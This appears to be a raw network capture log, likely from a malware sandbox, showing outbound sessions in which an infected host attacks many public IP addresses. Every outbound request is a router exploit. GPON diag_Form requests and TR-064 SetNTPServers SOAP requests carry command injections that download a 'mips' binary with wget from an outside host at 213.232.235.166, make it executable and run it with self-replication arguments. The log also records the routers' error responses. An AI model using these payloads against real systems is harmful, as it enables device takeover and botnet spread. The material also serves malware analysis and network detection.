Apr 15, 2024 08:53:30.988281012 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:31.255080938 CEST	388	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:31 GMT Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
998	192.168.2.13	44776	218.157.238.106	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:30.185642958 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:30.469707966 CEST	289	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 X-XSS-Protection: 1;mode=block Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' X-Content-Type-Options: nosniff CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
999	192.168.2.13	35522	2.140.1.5	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:30.238825083 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:30.608514071 CEST	136	IN	HTTP/1.1 500 Internal Server Error Server: gSOAP/2.7 Content-Type: text/xml; charset=utf-8 Content-Length: 548 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1000	192.168.2.13	40884	85.117.34.138	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:30.263788939 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:30.619613886 CEST	512	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Mon, 15 Apr 2024 06:53:29 GMT Server: lighttpd/1.4.55 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1001	192.168.2.13	45126	99.251.198.135	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:30.898142099 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1002	192.168.2.13	36442	72.208.51.177	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.065612078 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1003	192.168.2.13	55238	118.45.126.149	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.191215038 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1004	192.168.2.13	60570	190.192.8.166	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.195569038 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1005	192.168.2.13	54672	86.167.75.217	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.201971054 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1006	192.168.2.13	36454	72.208.51.177	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.235358000 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1007	192.168.2.13	55474	188.29.240.227	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.237251043 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1008	192.168.2.13	60584	190.192.8.166	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.497066021 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1009	192.168.2.13	54686	86.167.75.217	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.512029886 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1010	192.168.2.13	55488	188.29.240.227	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.586509943 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1011	192.168.2.13	43628	67.251.149.88	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.732769012 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1012	192.168.2.13	60104	183.115.182.36	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.779514074 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1013	192.168.2.13	44220	183.97.77.152	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.782202959 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1014	192.168.2.13	38422	183.127.205.169	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.791018963 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:32.097189903 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:53:30 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1015	192.168.2.13	57190	118.211.77.66	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.828763962 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:32.146459103 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:53:31 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Apr 15, 2024 08:53:33.100246906 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:53:31 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1016	192.168.2.13	43640	67.251.149.88	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:31.968544006 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1017	192.168.2.13	60116	183.115.182.36	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.072182894 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1018	192.168.2.13	44232	183.97.77.152	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.073612928 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1019	192.168.2.13	38434	183.127.205.169	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:32.091721058 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
